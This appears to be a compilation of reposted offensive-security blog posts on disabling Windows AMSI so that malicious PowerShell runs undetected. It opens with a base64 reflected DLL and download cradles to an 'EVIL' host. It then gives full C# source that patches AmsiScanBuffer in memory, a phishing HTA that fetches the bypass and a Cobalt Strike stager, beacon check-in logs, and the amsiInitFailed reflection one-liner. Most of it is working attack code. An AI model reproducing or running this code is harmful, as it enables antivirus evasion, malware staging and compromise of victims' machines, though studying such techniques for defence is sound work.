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UAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAMg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

Source: Bypass AMSI and Execute ANY malicious powershell code

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/amsi") then Bypass-AMSI.

Successful execution

Now that the payload is compressed 4 times and AMSI is disabled, we download the payload and execute it in memory:

IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")

In the screenshot above, we can see that compressing the payload up to 3 times gets detected by KES11. The 4th time, the payload gets through the AV and since AMSI is disabled, we get successful execution:

Merci.

AMSI Bypass: Patching Technique

( Original text )

Abstract

In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.

Background

As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

API monitoring in figure 1 shows the AMSI behavior behind the scenes:

  • The string that was submitted to the PowerShell console (“echo ‘Avi-G’”).
  • The AmsiScanString() function (under API monitor) which has been automatically invoked with the new input string insertion.

Figure 1- AmsiScanString

Bypassing AMSI General Flow

In our research, we were able to bypass the PowerShell AMSI protection of a simple user with low privileges. Malwares can use the same technique to run their malicious payloads above any kind of user.

We used the following components to perform the bypass:

Figure 2- POC components

Obtainer- a simple C# code script that is crafted as a PowerShell module, responsible for obtaining our AmsiDumpsi.dll.

Operator– AmsiDumpsi.dll is responsible for patching the real amsi.dll->AmsiScanString() function.

In Figure 3, you can see the complete process:

Figure 3- Bypassing Flow

It’s worth mentioning that the first AMSI bypass attempt was to simply unload the Amsi.dll by calling to the FreeLibrary() Api. The module was successfully unloaded, but PowerShell crashed because the process kept using the handle to the Amsi.dll.

Deep Diving into the POC code

Let’s take a short look at the original AmsiScanString() function:

Figure 4- Original AmsiScanString() Function

As you can see at 7fff9c1b2530 – 7fff9c1b2560, AmsiScanString() verifies the argument’s integrity. Right after that, the function initializes the user arguments to be transferred to the real scan. AmsiScanBuffer() treats the user console input string as a buffer to be scanned.

Our AmsiDumpsi.dll patches the original AmsiScanString() function straight in the memory. Here you can see the function at runtime after the patch:

Figure 5- AmsiScanString() After Patching

By changing the second function line, we’re zeroing one of the given arguments (rdx) and causing an error. For that reason, the function will jump straight to the end (instead of scanning the string with AmsiScanBuffer() ) in order to store the error code in the eax register and to return it to the caller function (see address- 00007fff9c1b2579).

By changing the 00007fff9c1b2579 line, we’ve changed the error code to be zero, so now eax will contain 0 [move eax,0] (instead of the original instruction [move eax,0x80070057h]) and the function returns 0.

As we can see in Microsoft’s documentation, returning 0 is equal to S_OK. S_OK means that the function successfully “scanned the payload” (bypassed the scan) and we can keep going.

Figure 6- AmsiScanString() Documentation

Now let’s look at the Obtainer code:

Figure 7- Obtainer loads AmsiDumpsi.dll

As you can see, we have a simple C# code, which was crafted into a PowerShell module by using the Add-Typecmdlet. This module loads the AmsiDumpsi.dll.

Here we can see the patch function in the AmsiDumpsi.dll:

Figure 8- Patch Function

As you can see, AmpsiDumpsiAttached() performs the following steps:

  1. Get a Pointer to the real amsi->AmsiScanString() function.
  2. Look for the original function error code (0x80070057) that the function returns in case of an error.
  3. Enable writing into the required memory address by setting the PAGE_EXECUTE_READWRITE permission.
  4. Patch the second AmsiScanString line by submitting the 4831d2 opcodes [xor rdx,rdx].
  5. Set the AmsiScanString error_code to 0.

Here’s a video that demonstrates this:

OnAction

Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory

Summary

This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.

References

AmsiScanBuffer Bypass — Part 3

( Original text by  )

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

  1. powershell.exe starts and amsi.dll is loaded into its memory space.
  2. We type something into the console.
  3. The AmsiScanBuffer function is called.
  4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

We won’t worry about all of this — just the idea that we have a buffer of length, that when scanned, returns a result. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the AmsiScanBuffer function and type something into the console.

We step down to the mov edi, r8d instruction — because we know from CyberArk that r8d contains the length of the buffer. We can also see that in Binary Ninja.

After the instruction, both edi and r8d contain 2c — which in decimal is 44. Our string "this is some garbage" is 22 characters, so this checks out (bits and bytes, amirite). In the context of AmsiScanBuffer, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing mov edi, r8d to xor edi, edi. Because if you xor two identical values, i.e. the current value of edi (whatever it happens to be) with itself, the result is always 0. So if we run the bypass and look at the instructions again…

edi is now zero — i.e. “scan 0 bytes of this buffer”. So if AmsiScanBuffer scans 0 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function AmsiScanBufferPtr + 0x001b. MS can just slightly modify the AmsiScanBuffer function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the AMSI_RESULT details that we glossed over previously — there are different results that can be returned.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns AMSI_RESULT_CLEAN?

Revisiting the AmsiScanBuffer function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 0x180024f5.

The content of which is a mov eax, 0x80070057 instruction, which we guessed meant AMSI_RESULT_CLEAN.

The original bypass was:

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

Which we modified to:

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

Where 0xB8, 0x57, 0x00, 0x07, 0x80 are the (hex) opcodes for mov eax, 0x80070057; and 0xC3 is a retn. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the AmsiScanBuffer pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter AmsiScanBuffer, immediately set eax and return.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to amsi.dll by Microsoft.

AmsiScanBuffer Bypass — Part 2

( Original text by  )

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

$Ref = (
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
)
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport(«kernel32»)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(«kernel32»)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(«kernel32»)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
«@
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.

AmsiScanBuffer Bypass — Part 1

( Original text by  )

Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details — we’re launching this post with the C# code from Andre:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

  • IntPtr TargetDLL = LoadLibrary("amsi.dll"); <- Maybe just loading AMSI is bad, but unlikely.
  • IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); <- Finding the address of AmsiScanBuffer.
  • if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) <- Modifying the permissions of a memory region.

And pretty much all of this…

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the if statements and removing console output. So my version became:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            return 0;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) and MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);.

The one thing they all have in common…? Yep, the string (or substring) AmsiScanBuffer!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting "Amsi Scan Buffer" also flags, but others like "AmsixScanxBuffer" or "Amsi.Scan.Buffer" are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("")) without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.

$Ref = (
    [...]
)

$Source = @"
[...]
"@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); becomes IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero); becomes VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); becomes MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);.

 

Exploring PowerShell AMSI and Logging Evasion

Картинки по запросу amsi powershell

( Original text by Adam Chester of MDSec’s ActiveBreach team )

By now, many of us know that during an engagement, AMSI (Antimalware Scripting Interface) can be used to trip up PowerShell scripts in an operators arsenal. Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign.
Before attempting to load a script, it has now become commonplace to run the following AMSI bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative newcomer to the blue-team arsenal, script block logging, how this works, and just how we can unhook this before it causes us any issues during an engagement.

AMSI Bypass – How it works

The earliest reference to this bypass technique that I can find is credited to Matt Graeber back in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly responsible for managing PowerShell execution into a disassembler, “System.Management.Automation.dll”.
To start, we need to look at the “System.Management.Automation.AmsiUtils” class, where we find a number of static methods and properties. What we are interested in is the variable “amsiInitFailed”, which is defined as:
private static bool amsiInitFailed = false;
Note that this variable has the access modifier of “private”, meaning that it is not readily exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be found in the method “AmsiUtils.ScanContent”:


internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
...
}

Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty cool 🙂
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used to flag this this bypass:
